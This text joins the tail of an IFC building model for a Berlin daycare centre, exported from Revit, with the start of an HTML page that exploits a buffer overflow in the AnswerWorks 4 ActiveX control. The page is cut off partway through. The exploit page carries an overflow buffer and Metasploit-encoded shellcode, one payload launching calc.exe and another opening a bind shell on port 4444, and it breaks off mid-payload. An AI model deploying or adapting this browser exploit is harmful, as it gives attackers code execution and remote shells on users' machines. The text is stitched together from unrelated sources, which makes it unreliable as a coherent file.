#137=IFCADVANCEDFACE((#138),#166,.T.); #138=IFCFACEOUTERBOUND(#139,.T.); #139=IFCEDGELOOP((#140,#149,#158,#165)); #140=IFCORIENTEDEDGE(*,*,#141,.T.); #141=IFCEDGECURVE(#56,#142,#144,.T.); #142=IFCVERTEXPOINT(#143); #143=IFCCARTESIANPOINT((0.286595272235915,0.21153917568445,0.534254977474486)); #144=IFCTRIMMEDCURVE(#145,(#57),(#143),.T.,.CARTESIAN.); #145=IFCCIRCLE(#146,0.0380000000000002); #146=IFCAXIS2PLACEMENT3D(#147,#69,#148); #147=IFCCARTESIANPOINT((0.286595272235915,0.187113246516361,0.505145288635964)); #148=IFCDIRECTION((0.,-0.121869343405151,0.992546151641322)); #149=IFCORIENTEDEDGE(*,*,#150,.T.); #150=IFCEDGECURVE(#142,#151,#153,.T.); #151=IFCVERTEXPOINT(#152); #152=IFCCARTESIANPOINT((0.316595272235915,0.21153917568445,0.534254977474486)); #153=IFCTRIMMEDCURVE(#154,(#143),(#152),.T.,.CARTESIAN.); #154=IFCELLIPSE(#155,0.015,0.01); #155=IFCAXIS2PLACEMENT3D(#156,#157,#69); #156=IFCCARTESIANPOINT((0.301595272235915,0.21153917568445,0.534254977474486)); #157=IFCDIRECTION((0.,-0.766044443118978,0.642787609686539)); #158=IFCORIENTEDEDGE(*,*,#159,.T.); #159=IFCEDGECURVE(#151,#8,#160,.T.); #160=IFCTRIMMEDCURVE(#161,(#152),(#9),.T.,.CARTESIAN.); #161=IFCCIRCLE(#162,0.0380000000000004); #162=IFCAXIS2PLACEMENT3D(#163,#82,#164); #163=IFCCARTESIANPOINT((0.316595272235915,0.187113246516361,0.505145288635964)); #164=IFCDIRECTION((0.,-0.121869343405151,0.992546151641322)); #165=IFCORIENTEDEDGE(*,*,#63,.F.); #166=IFCSURFACEOFREVOLUTION(#167,$,#176); #167=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Revolved Face Profile Curve',#168); #168=IFCTRIMMEDCURVE(#169,(#174),(#175),.T.,.CARTESIAN.); #169=IFCTRIMMEDCURVE(#170,(#174),(#175),.T.,.CARTESIAN.); #170=IFCELLIPSE(#171,0.015,0.01); #171=IFCAXIS2PLACEMENT3D(#172,#173,#69); #172=IFCCARTESIANPOINT((0.301595272235915,0.225113246516361,0.505145288635965)); #173=IFCDIRECTION((0.,0.,-1.)); #174=IFCCARTESIANPOINT((0.316595272235915,0.225113246516361,0.505145288635965)); #175=IFCCARTESIANPOINT((0.286595272235915,0.225113246516361,0.505145288635965)); #176=IFCAXIS1PLACEMENT(#177,#82); #177=IFCCARTESIANPOINT((0.301595272235915,0.187113246516361,0.505145288635964)); #178=IFCADVANCEDFACE((#179),#190,.T.); #179=IFCFACEOUTERBOUND(#180,.T.); #180=IFCEDGELOOP((#181,#182,#188,#189)); #181=IFCORIENTEDEDGE(*,*,#159,.F.); #182=IFCORIENTEDEDGE(*,*,#183,.T.); #183=IFCEDGECURVE(#151,#142,#184,.T.); #184=IFCTRIMMEDCURVE(#185,(#152),(#143),.T.,.CARTESIAN.); #185=IFCELLIPSE(#186,0.015,0.01); #186=IFCAXIS2PLACEMENT3D(#156,#187,#69); #187=IFCDIRECTION((0.,-0.766044443118978,0.642787609686539)); #188=IFCORIENTEDEDGE(*,*,#141,.F.); #189=IFCORIENTEDEDGE(*,*,#122,.F.); #190=IFCSURFACEOFREVOLUTION(#191,$,#196); #191=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Revolved Face Profile Curve',#192); #192=IFCTRIMMEDCURVE(#193,(#175),(#174),.T.,.CARTESIAN.); #193=IFCTRIMMEDCURVE(#194,(#175),(#174),.T.,.CARTESIAN.); #194=IFCELLIPSE(#195,0.015,0.01); #195=IFCAXIS2PLACEMENT3D(#172,#173,#69); #196=IFCAXIS1PLACEMENT(#177,#82); #197=IFCADVANCEDFACE((#198),#217,.T.); #198=IFCFACEOUTERBOUND(#199,.T.); #199=IFCEDGELOOP((#200,#211)); #200=IFCORIENTEDEDGE(*,*,#201,.T.); #201=IFCEDGECURVE(#202,#204,#206,.T.); #202=IFCVERTEXPOINT(#203); #203=IFCCARTESIANPOINT((0.316595272235915,0.214202811608578,0.532019921552959)); #204=IFCVERTEXPOINT(#205); #205=IFCCARTESIANPOINT((0.286595272235915,0.214202811608578,0.532019921552959)); #206=IFCTRIMMEDCURVE(#207,(#203),(#205),.T.,.CARTESIAN.); #207=IFCELLIPSE(#208,0.015,0.01); #208=IFCAXIS2PLACEMENT3D(#209,#210,#69); #209=IFCCARTESIANPOINT((0.301595272235915,0.214202811608578,0.532019921552959)); #210=IFCDIRECTION((0.,0.766044443118978,-0.642787609686539)); #211=IFCORIENTEDEDGE(*,*,#212,.T.); #212=IFCEDGECURVE(#204,#202,#213,.T.); #213=IFCTRIMMEDCURVE(#214,(#205),(#203),.T.,.CARTESIAN.); #214=IFCELLIPSE(#215,0.015,0.01); #215=IFCAXIS2PLACEMENT3D(#209,#216,#69); #216=IFCDIRECTION((0.,0.766044443118978,-0.642787609686539)); #217=IFCPLANE(#218); #218=IFCAXIS2PLACEMENT3D(#209,#219,#82); #219=IFCDIRECTION((0.,0.766044443118978,-0.642787609686539)); #220=IFCADVANCEDFACE((#221),#237,.T.); #221=IFCFACEOUTERBOUND(#222,.T.); #222=IFCEDGELOOP((#223,#229,#230,#236)); #223=IFCORIENTEDEDGE(*,*,#224,.T.); #224=IFCEDGECURVE(#142,#204,#225,.T.); #225=IFCTRIMMEDCURVE(#226,(#143),(#205),.T.,.CARTESIAN.); #226=IFCLINE(#143,#227); #227=IFCVECTOR(#228,0.3048); #228=IFCDIRECTION((0.,0.766044443118982,-0.642787609686535)); #229=IFCORIENTEDEDGE(*,*,#201,.F.); #230=IFCORIENTEDEDGE(*,*,#231,.T.); #231=IFCEDGECURVE(#202,#151,#232,.T.); #232=IFCTRIMMEDCURVE(#233,(#203),(#152),.T.,.CARTESIAN.); #233=IFCLINE(#203,#234); #234=IFCVECTOR(#235,0.3048); #235=IFCDIRECTION((0.,-0.766044443118982,0.642787609686535)); #236=IFCORIENTEDEDGE(*,*,#150,.F.); #237=IFCSURFACEOFLINEAREXTRUSION(#238,#244,#246,0.0114079060088073); #238=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Ruled Face Profile Curve',#239); #239=IFCTRIMMEDCURVE(#240,(#152),(#143),.T.,.CARTESIAN.); #240=IFCTRIMMEDCURVE(#241,(#152),(#143),.T.,.CARTESIAN.); #241=IFCELLIPSE(#242,0.015,0.01); #242=IFCAXIS2PLACEMENT3D(#156,#243,#69); #243=IFCDIRECTION((0.,0.766044443118978,-0.642787609686539)); #244=IFCAXIS2PLACEMENT3D(#152,#245,#82); #245=IFCDIRECTION((0.,0.766044443118982,-0.642787609686535)); #246=IFCDIRECTION((0.,0.766044443118982,-0.642787609686535)); #247=IFCADVANCEDFACE((#248),#254,.T.); #248=IFCFACEOUTERBOUND(#249,.T.); #249=IFCEDGELOOP((#250,#251,#252,#253)); #250=IFCORIENTEDEDGE(*,*,#231,.F.); #251=IFCORIENTEDEDGE(*,*,#212,.F.); #252=IFCORIENTEDEDGE(*,*,#224,.F.); #253=IFCORIENTEDEDGE(*,*,#183,.F.); #254=IFCSURFACEOFLINEAREXTRUSION(#255,#261,#263,0.0114079060088073); #255=IFCARBITRARYCLOSEDPROFILEDEF(.CURVE.,'Ruled Face Profile Curve',#256); #256=IFCTRIMMEDCURVE(#257,(#143),(#152),.T.,.CARTESIAN.); #257=IFCTRIMMEDCURVE(#258,(#143),(#152),.T.,.CARTESIAN.); #258=IFCELLIPSE(#259,0.015,0.01); #259=IFCAXIS2PLACEMENT3D(#156,#260,#69); #260=IFCDIRECTION((0.,0.766044443118978,-0.642787609686539)); #261=IFCAXIS2PLACEMENT3D(#143,#262,#82); #262=IFCDIRECTION((0.,0.766044443118982,-0.642787609686535)); #263=IFCDIRECTION((0.,0.766044443118982,-0.642787609686535)); #264=IFCADVANCEDFACE((#265),#298,.T.); #265=IFCFACEOUTERBOUND(#266,.T.); #266=IFCEDGELOOP((#267,#277,#285,#292)); #267=IFCORIENTEDEDGE(*,*,#268,.T.); #268=IFCEDGECURVE(#269,#271,#273,.T.); #269=IFCVERTEXPOINT(#270); #270=IFCCARTESIANPOINT((0.326595272235915,0.0499999999999999,0.451595272235917)); #271=IFCVERTEXPOINT(#272); #272=IFCCARTESIANPOINT((0.326595272235915,0.0499999999999999,0.559595272235917)); #273=IFCTRIMMEDCURVE(#274,(#270),(#272),.T.,.CARTESIAN.); #274=IFCLINE(#270,#275); #275=IFCVECTOR(#276,0.3048); #276=IFCDIRECTION((0.,0.,1.)); #277=IFCORIENTEDEDGE(*,*,#278,.T.); #278=IFCEDGECURVE(#271,#279,#281,.T.); #279=IFCVERTEXPOINT(#280); #280=IFCCARTESIANPOINT((0.276595272235915,0.0499999999999998,0.559595272235917)); #281=IFCTRIMMEDCURVE(#282,(#272),(#280),.T.,.CARTESIAN.); #282=IFCCIRCLE(#283,0.025); #283=IFCAXIS2PLACEMENT3D(#284,#173,#69); #284=IFCCARTESIANPOINT((0.301595272235915,0.05,0.559595272235917)); #285=IFCORIENTEDEDGE(*,*,#286,.T.); #286=IFCEDGECURVE(#279,#287,#289,.T.); #287=IFCVERTEXPOINT(#288); #288=IFCCARTESIANPOINT((0.276595272235915,0.05,0.451595272235917)); #289=IFCTRIMMEDCURVE(#290,(#280),(#288),.T.,.CARTESIAN.); #290=IFCLINE(#280,#291); #291=IFCVECTOR(#173,0.3048); #292=IFCORIENTEDEDGE(*,*,#293,.T.); #293=IFCEDGECURVE(#287,#269,#294,.T.); #294=IFCTRIMMEDCURVE(#295,(#288),(#270),.T.,.CARTESIAN.); #295=IFCCIRCLE(#296,0.025); #296=IFCAXIS2PLACEMENT3D(#297,#276,#69); #297=IFCCARTESIANPOINT((0.301595272235915,0.05,0.451595272235917)); #298=IFCCYLINDRICALSURFACE(#299,0.025); #299=IFCAXIS2PLACEMENT3D(#300,#173,#69); #300=IFCCARTESIANPOINT((0.301595272235915,0.05,0.436595272235917)); #301=IFCADVANCEDFACE((#302),#306,.T.); #302=IFCFACEOUTERBOUND(#303,.T.); #303=IFCEDGELOOP((#304,#305)); #304=IFCORIENTEDEDGE(*,*,#89,.F.); #305=IFCORIENTEDEDGE(*,*,#17,.F.); #306=IFCCYLINDRICALSURFACE(#307,0.025); #307=IFCAXIS2PLACEMENT3D(#300,#173,#69); #308=IFCADVANCEDFACE((#309),#306,.T.); #309=IFCFACEBOUND(#310,.F.); #310=IFCEDGELOOP((#311,#316,#317,#322)); #311=IFCORIENTEDEDGE(*,*,#312,.T.); #312=IFCEDGECURVE(#279,#271,#313,.T.); #313=IFCTRIMMEDCURVE(#314,(#280),(#272),.T.,.CARTESIAN.); #314=IFCCIRCLE(#315,0.025); #315=IFCAXIS2PLACEMENT3D(#284,#173,#69); #316=IFCORIENTEDEDGE(*,*,#268,.F.); #317=IFCORIENTEDEDGE(*,*,#318,.T.); #318=IFCEDGECURVE(#269,#287,#319,.T.); #319=IFCTRIMMEDCURVE(#320,(#270),(#288),.T.,.CARTESIAN.); #320=IFCCIRCLE(#321,0.025); #321=IFCAXIS2PLACEMENT3D(#297,#276,#69); #322=IFCORIENTEDEDGE(*,*,#286,.F.); #323=IFCADVANCEDFACE((#324),#338,.T.); #324=IFCFACEOUTERBOUND(#325,.T.); #325=IFCEDGELOOP((#326,#332,#337)); #326=IFCORIENTEDEDGE(*,*,#327,.T.); #327=IFCEDGECURVE(#287,#328,#329,.T.); #328=IFCVERTEXPOINT(#297); #329=IFCTRIMMEDCURVE(#330,(#288),(#297),.T.,.CARTESIAN.); #330=IFCLINE(#288,#331); #331=IFCVECTOR(#82,0.3048); #332=IFCORIENTEDEDGE(*,*,#333,.T.); #333=IFCEDGECURVE(#328,#269,#334,.T.); #334=IFCTRIMMEDCURVE(#335,(#297),(#270),.T.,.CARTESIAN.); #335=IFCLINE(#297,#336); #336=IFCVECTOR(#82,0.3048); #337=IFCORIENTEDEDGE(*,*,#293,.F.); #338=IFCPLANE(#339); #339=IFCAXIS2PLACEMENT3D(#297,#173,#69); #340=IFCADVANCEDFACE((#341),#346,.T.); #341=IFCFACEOUTERBOUND(#342,.T.); #342=IFCEDGELOOP((#343,#344,#345)); #343=IFCORIENTEDEDGE(*,*,#333,.F.); #344=IFCORIENTEDEDGE(*,*,#327,.F.); #345=IFCORIENTEDEDGE(*,*,#318,.F.); #346=IFCPLANE(#347); #347=IFCAXIS2PLACEMENT3D(#297,#173,#69); #348=IFCADVANCEDFACE((#349),#372,.T.); #349=IFCFACEOUTERBOUND(#350,.T.); #350=IFCEDGELOOP((#351,#360,#367)); #351=IFCORIENTEDEDGE(*,*,#352,.T.); #352=IFCEDGECURVE(#353,#355,#357,.T.); #353=IFCVERTEXPOINT(#354); #354=IFCCARTESIANPOINT((0.326595272235915,0.0499999999999999,0.592595272235917)); #355=IFCVERTEXPOINT(#356); #356=IFCCARTESIANPOINT((0.301595272235915,0.05,0.592595272235917)); #357=IFCTRIMMEDCURVE(#358,(#354),(#356),.T.,.CARTESIAN.); #358=IFCLINE(#354,#359); #359=IFCVECTOR(#69,0.3048); #360=IFCORIENTEDEDGE(*,*,#361,.T.); #361=IFCEDGECURVE(#355,#362,#364,.T.); #362=IFCVERTEXPOINT(#363); #363=IFCCARTESIANPOINT((0.276595272235915,0.05,0.592595272235917)); #364=IFCTRIMMEDCURVE(#365,(#356),(#363),.T.,.CARTESIAN.); #365=IFCLINE(#356,#366); #366=IFCVECTOR(#69,0.3048); #367=IFCORIENTEDEDGE(*,*,#368,.T.); #368=IFCEDGECURVE(#362,#353,#369,.T.); #369=IFCTRIMMEDCURVE(#370,(#363),(#354),.T.,.CARTESIAN.); #370=IFCCIRCLE(#371,0.0249999999999999); #371=IFCAXIS2PLACEMENT3D(#356,#276,#69); #372=IFCPLANE(#373); #373=IFCAXIS2PLACEMENT3D(#356,#276,#69); #374=IFCADVANCEDFACE((#375),#384,.T.); #375=IFCFACEOUTERBOUND(#376,.T.); #376=IFCEDGELOOP((#377,#378,#383)); #377=IFCORIENTEDEDGE(*,*,#352,.F.); #378=IFCORIENTEDEDGE(*,*,#379,.T.); #379=IFCEDGECURVE(#353,#362,#380,.T.); #380=IFCTRIMMEDCURVE(#381,(#354),(#363),.T.,.CARTESIAN.); #381=IFCCIRCLE(#382,0.0249999999999999); #382=IFCAXIS2PLACEMENT3D(#356,#276,#69); #383=IFCORIENTEDEDGE(*,*,#361,.F.); #384=IFCPLANE(#385); #385=IFCAXIS2PLACEMENT3D(#356,#276,#69); #386=IFCADVANCEDFACE((#387),#410,.T.); #387=IFCFACEOUTERBOUND(#388,.T.); #388=IFCEDGELOOP((#389,#396,#404,#409)); #389=IFCORIENTEDEDGE(*,*,#390,.T.); #390=IFCEDGECURVE(#362,#391,#393,.T.); #391=IFCVERTEXPOINT(#392); #392=IFCCARTESIANPOINT((0.276595272235915,0.05,0.562595272235917)); #393=IFCTRIMMEDCURVE(#394,(#363),(#392),.T.,.CARTESIAN.); #394=IFCLINE(#363,#395); #395=IFCVECTOR(#173,0.3048); #396=IFCORIENTEDEDGE(*,*,#397,.T.); #397=IFCEDGECURVE(#391,#398,#400,.T.); #398=IFCVERTEXPOINT(#399); #399=IFCCARTESIANPOINT((0.326595272235915,0.0499999999999999,0.562595272235917)); #400=IFCTRIMMEDCURVE(#401,(#392),(#399),.T.,.CARTESIAN.); #401=IFCCIRCLE(#402,0.0249999999999999); #402=IFCAXIS2PLACEMENT3D(#403,#276,#69); #403=IFCCARTESIANPOINT((0.301595272235915,0.05,0.562595272235917)); #404=IFCORIENTEDEDGE(*,*,#405,.T.); #405=IFCEDGECURVE(#398,#353,#406,.T.); #406=IFCTRIMMEDCURVE(#407,(#399),(#354),.T.,.CARTESIAN.); #407=IFCLINE(#399,#408); #408=IFCVECTOR(#276,0.3048); #409=IFCORIENTEDEDGE(*,*,#368,.F.); #410=IFCCYLINDRICALSURFACE(#411,0.0249999999999999); #411=IFCAXIS2PLACEMENT3D(#300,#173,#69); #412=IFCADVANCEDFACE((#413),#423,.T.); #413=IFCFACEOUTERBOUND(#414,.T.); #414=IFCEDGELOOP((#415,#416,#421,#422)); #415=IFCORIENTEDEDGE(*,*,#405,.F.); #416=IFCORIENTEDEDGE(*,*,#417,.T.); #417=IFCEDGECURVE(#398,#391,#418,.T.); #418=IFCTRIMMEDCURVE(#419,(#399),(#392),.T.,.CARTESIAN.); #419=IFCCIRCLE(#420,0.0249999999999999); #420=IFCAXIS2PLACEMENT3D(#403,#276,#69); #421=IFCORIENTEDEDGE(*,*,#390,.F.); #422=IFCORIENTEDEDGE(*,*,#379,.F.); #423=IFCCYLINDRICALSURFACE(#424,0.0249999999999999); #424=IFCAXIS2PLACEMENT3D(#300,#173,#69); #425=IFCADVANCEDFACE((#426),#448,.T.); #426=IFCFACEOUTERBOUND(#427,.T.); #427=IFCEDGELOOP((#428,#435,#442,#447)); #428=IFCORIENTEDEDGE(*,*,#429,.T.); #429=IFCEDGECURVE(#391,#430,#432,.T.); #430=IFCVERTEXPOINT(#431); #431=IFCCARTESIANPOINT((0.278595272235915,0.05,0.562595272235917)); #432=IFCTRIMMEDCURVE(#433,(#392),(#431),.T.,.CARTESIAN.); #433=IFCLINE(#392,#434); #434=IFCVECTOR(#82,0.3048); #435=IFCORIENTEDEDGE(*,*,#436,.T.); #436=IFCEDGECURVE(#430,#437,#439,.T.); #437=IFCVERTEXPOINT(#438); #438=IFCCARTESIANPOINT((0.324595272235915,0.0499999999999999,0.562595272235917)); #439=IFCTRIMMEDCURVE(#440,(#431),(#438),.T.,.CARTESIAN.); #440=IFCCIRCLE(#441,0.0230000000000001); #441=IFCAXIS2PLACEMENT3D(#403,#276,#69); #442=IFCORIENTEDEDGE(*,*,#443,.T.); #443=IFCEDGECURVE(#437,#398,#444,.T.); #444=IFCTRIMMEDCURVE(#445,(#438),(#399),.T.,.CARTESIAN.); #445=IFCLINE(#438,#446); #446=IFCVECTOR(#82,0.3048); #447=IFCORIENTEDEDGE(*,*,#397,.F.); #448=IFCPLANE(#449); #449=IFCAXIS2PLACEMENT3D(#403,#173,#69); #450=IFCADVANCEDFACE((#451),#461,.T.); #451=IFCFACEOUTERBOUND(#452,.T.); #452=IFCEDGELOOP((#453,#454,#459,#460)); #453=IFCORIENTEDEDGE(*,*,#443,.F.); #454=IFCORIENTEDEDGE(*,*,#455,.T.); #455=IFCEDGECURVE(#437,#430,#456,.T.); #456=IFCTRIMMEDCURVE(#457,(#438),(#431),.T.,.CARTESIAN.); #457=IFCCIRCLE(#458,0.0230000000000001); #458=IFCAXIS2PLACEMENT3D(#403,#276,#69); #459=IFCORIENTEDEDGE(*,*,#429,.F.); #460=IFCORIENTEDEDGE(*,*,#417,.F.); #461=IFCPLANE(#462); #462=IFCAXIS2PLACEMENT3D(#403,#173,#69); #463=IFCADVANCEDFACE((#464),#486,.T.); #464=IFCFACEOUTERBOUND(#465,.T.); #465=IFCEDGELOOP((#466,#473,#480,#485)); #466=IFCORIENTEDEDGE(*,*,#467,.T.); #467=IFCEDGECURVE(#430,#468,#470,.T.); #468=IFCVERTEXPOINT(#469); #469=IFCCARTESIANPOINT((0.278595272235915,0.05,0.559595272235917)); #470=IFCTRIMMEDCURVE(#471,(#431),(#469),.T.,.CARTESIAN.); #471=IFCLINE(#431,#472); #472=IFCVECTOR(#173,0.3048); #473=IFCORIENTEDEDGE(*,*,#474,.T.); #474=IFCEDGECURVE(#468,#475,#477,.T.); #475=IFCVERTEXPOINT(#476); #476=IFCCARTESIANPOINT((0.324595272235915,0.0499999999999999,0.559595272235917)); #477=IFCTRIMMEDCURVE(#478,(#469),(#476),.T.,.CARTESIAN.); #478=IFCCIRCLE(#479,0.0230000000000001); #479=IFCAXIS2PLACEMENT3D(#284,#276,#69); #480=IFCORIENTEDEDGE(*,*,#481,.T.); #481=IFCEDGECURVE(#475,#437,#482,.T.); #482=IFCTRIMMEDCURVE(#483,(#476),(#438),.T.,.CARTESIAN.); #483=IFCLINE(#476,#484); #484=IFCVECTOR(#276,0.3048); #485=IFCORIENTEDEDGE(*,*,#436,.F.); #486=IFCCYLINDRICALSURFACE(#487,0.0230000000000001); #487=IFCAXIS2PLACEMENT3D(#300,#173,#69); #488=IFCADVANCEDFACE((#489),#499,.T.); #489=IFCFACEOUTERBOUND(#490,.T.); #490=IFCEDGELOOP((#491,#492,#497,#498)); #491=IFCORIENTEDEDGE(*,*,#481,.F.); #492=IFCORIENTEDEDGE(*,*,#493,.T.); #493=IFCEDGECURVE(#475,#468,#494,.T.); #494=IFCTRIMMEDCURVE(#495,(#476),(#469),.T.,.CARTESIAN.); #495=IFCCIRCLE(#496,0.0230000000000001); #496=IFCAXIS2PLACEMENT3D(#284,#276,#69); #497=IFCORIENTEDEDGE(*,*,#467,.F.); #498=IFCORIENTEDEDGE(*,*,#455,.F.); #499=IFCCYLINDRICALSURFACE(#500,0.0230000000000001); #500=IFCAXIS2PLACEMENT3D(#300,#173,#69); #501=IFCADVANCEDFACE((#502),#516,.T.); #502=IFCFACEOUTERBOUND(#503,.T.); #503=IFCEDGELOOP((#504,#509,#510,#515)); #504=IFCORIENTEDEDGE(*,*,#505,.T.); #505=IFCEDGECURVE(#271,#475,#506,.T.); #506=IFCTRIMMEDCURVE(#507,(#272),(#476),.T.,.CARTESIAN.); #507=IFCLINE(#272,#508); #508=IFCVECTOR(#69,0.3048); #509=IFCORIENTEDEDGE(*,*,#474,.F.); #510=IFCORIENTEDEDGE(*,*,#511,.T.); #511=IFCEDGECURVE(#468,#279,#512,.T.); #512=IFCTRIMMEDCURVE(#513,(#469),(#280),.T.,.CARTESIAN.); #513=IFCLINE(#469,#514); #514=IFCVECTOR(#69,0.3048); #515=IFCORIENTEDEDGE(*,*,#278,.F.); #516=IFCPLANE(#517); #517=IFCAXIS2PLACEMENT3D(#284,#276,#69); #518=IFCADVANCEDFACE((#519),#525,.T.); #519=IFCFACEOUTERBOUND(#520,.T.); #520=IFCEDGELOOP((#521,#522,#523,#524)); #521=IFCORIENTEDEDGE(*,*,#511,.F.); #522=IFCORIENTEDEDGE(*,*,#493,.F.); #523=IFCORIENTEDEDGE(*,*,#505,.F.); #524=IFCORIENTEDEDGE(*,*,#312,.F.); #525=IFCPLANE(#526); #526=IFCAXIS2PLACEMENT3D(#284,#276,#69); #527=IFCPROJECT('3Mt2bGmnb4DBVQ5CWh8w1l',#539,'253-KTB',$,$,'Neubau Kindertagesst\X\E4tte Tornower Weg 8-10, 13439 Berlin','Vorabzug',(#540),#544); #528=IFCOWNERHISTORY(#531,#532,$,.ADDED.,1576015757,$,$,0); #529=IFCPERSON($,'Steve','',$,$,$,$,$); #530=IFCORGANIZATION($,'Unspecified',$,$,$); #531=IFCPERSONANDORGANIZATION(#529,#530,$); #532=IFCAPPLICATION(#530,'Unspecified','Unspecified',$); #533=IFCOWNERHISTORY(#534,#537,$,.NOCHANGE.,$,$,$,1526998472); #534=IFCPERSONANDORGANIZATION(#535,#536,$); #535=IFCPERSON($,$,'gerhard.toellner',$,$,$,$,$); #536=IFCORGANIZATION($,$,$,$,$); #537=IFCAPPLICATION(#538,'2018','Autodesk Revit 2018 (DEU)','Revit'); #538=IFCORGANIZATION($,'Autodesk Revit 2018 (DEU)',$,$,$); #539=IFCOWNERHISTORY(#531,#532,$,.MODIFIED.,1576015757,$,$,0); #540=IFCGEOMETRICREPRESENTATIONCONTEXT($,'Model',3,1.E-05,#541,#543); #541=IFCAXIS2PLACEMENT3D(#542,$,$); #542=IFCCARTESIANPOINT((0.,0.,0.)); #543=IFCDIRECTION((6.12303176911189E-17,1.)); #544=IFCUNITASSIGNMENT((#545,#546,#547,#548,#552,#553,#556,#557,#558,#559,#564,#567,#568,#569,#570,#571,#572,#573,#574,#579,#582,#583,#584)); #545=IFCSIUNIT(*,.LENGTHUNIT.,$,.METRE.); #546=IFCSIUNIT(*,.AREAUNIT.,$,.SQUARE_METRE.); #547=IFCSIUNIT(*,.VOLUMEUNIT.,$,.CUBIC_METRE.); #548=IFCCONVERSIONBASEDUNIT(#549,.PLANEANGLEUNIT.,'DEGREE',#550); #549=IFCDIMENSIONALEXPONENTS(0,0,0,0,0,0,0); #550=IFCMEASUREWITHUNIT(IFCRATIOMEASURE(0.0174532925199433),#551); #551=IFCSIUNIT(*,.PLANEANGLEUNIT.,$,.RADIAN.); #552=IFCSIUNIT(*,.MASSUNIT.,.KILO.,.GRAM.); #553=IFCDERIVEDUNIT((#554,#555),.MASSDENSITYUNIT.,$); #554=IFCDERIVEDUNITELEMENT(#552,1); #555=IFCDERIVEDUNITELEMENT(#545,-3); #556=IFCSIUNIT(*,.TIMEUNIT.,$,.SECOND.); #557=IFCSIUNIT(*,.FREQUENCYUNIT.,$,.HERTZ.); #558=IFCSIUNIT(*,.THERMODYNAMICTEMPERATUREUNIT.,$,.DEGREE_CELSIUS.); #559=IFCDERIVEDUNIT((#560,#561,#563),.THERMALTRANSMITTANCEUNIT.,$); #560=IFCDERIVEDUNITELEMENT(#552,1); #561=IFCDERIVEDUNITELEMENT(#562,-1); #562=IFCSIUNIT(*,.THERMODYNAMICTEMPERATUREUNIT.,$,.KELVIN.); #563=IFCDERIVEDUNITELEMENT(#556,-3); #564=IFCDERIVEDUNIT((#565,#566),.VOLUMETRICFLOWRATEUNIT.,$); #565=IFCDERIVEDUNITELEMENT(#545,3); #566=IFCDERIVEDUNITELEMENT(#556,-1); #567=IFCSIUNIT(*,.ELECTRICCURRENTUNIT.,$,.AMPERE.); #568=IFCSIUNIT(*,.ELECTRICVOLTAGEUNIT.,$,.VOLT.); #569=IFCSIUNIT(*,.POWERUNIT.,$,.WATT.); #570=IFCSIUNIT(*,.FORCEUNIT.,.KILO.,.NEWTON.); #571=IFCSIUNIT(*,.ILLUMINANCEUNIT.,$,.LUX.); #572=IFCSIUNIT(*,.LUMINOUSFLUXUNIT.,$,.LUMEN.); #573=IFCSIUNIT(*,.LUMINOUSINTENSITYUNIT.,$,.CANDELA.); #574=IFCDERIVEDUNIT((#575,#576,#577,#578),.USERDEFINED.,'Luminous Efficacy'); #575=IFCDERIVEDUNITELEMENT(#552,-1); #576=IFCDERIVEDUNITELEMENT(#545,-2); #577=IFCDERIVEDUNITELEMENT(#556,3); #578=IFCDERIVEDUNITELEMENT(#572,1); #579=IFCDERIVEDUNIT((#580,#581),.LINEARVELOCITYUNIT.,$); #580=IFCDERIVEDUNITELEMENT(#545,1); #581=IFCDERIVEDUNITELEMENT(#556,-1); #582=IFCMONETARYUNIT('\X2\20AC\X0\'); #583=IFCSIUNIT(*,.PRESSUREUNIT.,$,.PASCAL.); #584=IFCDERIVEDUNIT((#585,#586,#587),.USERDEFINED.,'Friction Loss'); #585=IFCDERIVEDUNITELEMENT(#545,-2); #586=IFCDERIVEDUNITELEMENT(#552,1); #587=IFCDERIVEDUNITELEMENT(#556,-2); ENDSEC; END-ISO-10303-21;
{ "pile_set_name": "Github" }
<html> <head> <title>Vantage Linguistics AnswerWorks 4 API ActiveX Control Buffer Overflow Exploit</title> <script language="JavaScript" defer> function Check() { var buf = 'A'; while (buf.length <= 214) buf = buf + 'A'; // win32_exec - EXITFUNC=seh CMD=c:\windows\system32\calc.exe Size=378 Encoder=Alpha2 http://metasploit.com var shellcode1 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%48%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%43" + "%58%30%42%31%50%42%41%6b%42%41%53%42%32%42%41%32" + "%41%41%30%41%41%58%50%38%42%42%75%48%69%6b%4c%4d" + "%38%63%74%75%50%33%30%67%70%4c%4b%73%75%57%4c%6e" + "%6b%63%4c%45%55%63%48%33%31%58%6f%6c%4b%70%4f%77" + "%68%6e%6b%73%6f%71%30%65%51%6a%4b%72%69%4e%6b%36" + "%54%4e%6b%45%51%4a%4e%46%51%6b%70%4f%69%4c%6c%6e" + "%64%59%50%73%44%53%37%58%41%7a%6a%54%4d%33%31%78" + "%42%48%6b%7a%54%77%4b%52%74%66%44%34%44%62%55%59" + "%75%6e%6b%41%4f%36%44%45%51%6a%4b%53%56%4c%4b%46" + "%6c%72%6b%4c%4b%53%6f%37%6c%63%31%6a%4b%4e%6b%75" + "%4c%6c%4b%54%41%48%6b%4d%59%51%4c%51%34%34%44%4a" + "%63%30%31%6f%30%62%44%4e%6b%71%50%54%70%4b%35%6b" + "%70%50%78%46%6c%6c%4b%63%70%44%4c%4c%4b%44%30%35" + "%4c%6e%4d%6c%4b%61%78%55%58%6a%4b%64%49%4e%6b%6b" + "%30%6c%70%57%70%57%70%47%70%4c%4b%70%68%47%4c%71" + "%4f%44%71%6b%46%33%50%66%36%4f%79%4c%38%6e%63%4f" + "%30%71%6b%30%50%41%78%58%70%6c%4a%53%34%51%4f%33" + "%58%4e%78%39%6e%6d%5a%46%6e%61%47%4b%4f%69%77%63" + "%53%45%6a%33%6c%72%57%30%69%50%6e%62%44%70%6f%73" + "%47%41%63%41%4c%50%73%42%59%31%63%50%74%65%35%70" + "%6d%54%73%65%62%33%6c%30%63%41%71%70%6c%53%53%66" + "%4e%31%75%74%38%70%65%77%70%43"); // win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com var shellcode2 = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49" + "%49%49%49%49%49%49%49%49%49%49%37%49%51%5a%6a%43" + "%58%30%42%31%50%41%42%6b%41%41%53%41%32%41%41%32" + "%42%41%30%42%41%58%50%38%41%42%75%78%69%4b%4c%72" + 